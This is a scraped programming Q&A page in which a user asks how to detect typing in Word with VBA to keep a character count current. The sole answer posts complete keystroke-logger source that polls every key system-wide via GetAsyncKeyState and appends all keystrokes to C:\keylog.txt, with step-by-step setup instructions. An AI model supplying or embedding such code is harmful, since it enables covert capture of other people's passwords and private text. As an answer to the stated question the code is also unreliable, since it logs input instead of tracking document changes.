Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Detecting when data is added to a document, eg. a character or white space

Tags:

ms-word

vba

Is there a way to detect when a user presses a key in Microsoft Word using VBA. I have searched for a method which does this. I have also searched for methods which create a way around this, such as detecting when the insertion point moves or it detects when a new character is placed in the word document, but I have had no look. I am currently using appWord_WindowSelectionChange(ByVal Sel As Selection) but this does not detect as you type.

I would appreciate anyone showing me how to either detect a keypress or would be able to show me a workaround which will accomplish the same goal.

Edit

I apologise if the summary of what I want above is not clear. What I have is a sub which fires using appWord_WindowSelectionChange(ByVal Sel As Selection). However what I want is this sub to fire whenever any data is entered into the word document, eg. a letter or a white space character. For example, if there was a character count in the footer of the word document and this sub which I have updates this character count, the character count field should update as the user types in the document.

like image 487
Dan Avatar asked Jul 18 '15 18:07

Dan


1 Answers

Not my Code but HTH.

        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
        Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

        Sub KeyStrokeLogger()
            Dim i As Integer
            Dim KeyAsciiValue As Integer

            StartLogging
            Do While True
                For i = 1 To 255
                    If GetAsyncKeyState(i) = -32767 Then
                        If CapsLockIsOn() Then
                            If ShiftIsPressed() = True Then
                 KeyAsciiValue = Asc(LCase(Chr(i)))
                  Else
                 KeyAsciiValue = Asc(UCase(Chr(i)))
                  End If
                        Else
                            If ShiftIsPressed() = True Then
                 KeyAsciiValue = Asc(UCase(Chr(i)))
                  Else
                 KeyAsciiValue = Asc(LCase(Chr(i)))
                  End If
                        End If
                        LogKeyStroke KeyAsciiValue
                    End If
                Next i
                DoEvents
            Loop
        End Sub

        Private Function CapsLockIsOn() As Boolean
            CapsLockIsOn = CBool(GetKeyState(20))
        End Function

        Private Function ShiftIsPressed() As Boolean
            ShiftIsPressed = CBool(GetAsyncKeyState(16))
        End Function

        Private Sub StartLogging()
            Open "C:\keylog.txt" For Binary As #1
            Seek #1, LOF(1) + 1
        End Sub

        Private Sub LogKeyStroke(KeyAsciiValue As Integer)
            Dim c As String * 1
            c = Chr(KeyAsciiValue)
            Select Case KeyAsciiValue
                Case 8
                    Put #1, , "{BACKSPACE}"
                Case 9
                    Put #1, , "{TAB}"
                Case 13
                    Put #1, , "{ENTER}"
                Case 32 To 126
                    Put #1, , c
                Case Else
                    Put #1, , "{" & KeyAsciiValue & "}"
            End Select
        End Sub

*"How to use the above code:

Step 1 Create a new document in MS-Word.

Step 2 Go to Tools, Macro, Visual Basic Editor

Step 3 Double click on ThisDocument Object under Project(Document1) in the Project Window.

Step 4 Copy the above code and paste it into the Visual Basic Editor.

Step 5 Close the Visual Basic Editor and save the document.

Step 6 Ensure that macros are enabled. To start logging keystrokes at any time click on Tools, Macro, Macros. Select KeyStrokeLogger and click Run. All the keystrokes will be stored in C:\keylog.txt. "* LinkBack to Post

like image 138
ShaggyRogers Avatar answered Nov 15 '22 08:11

ShaggyRogers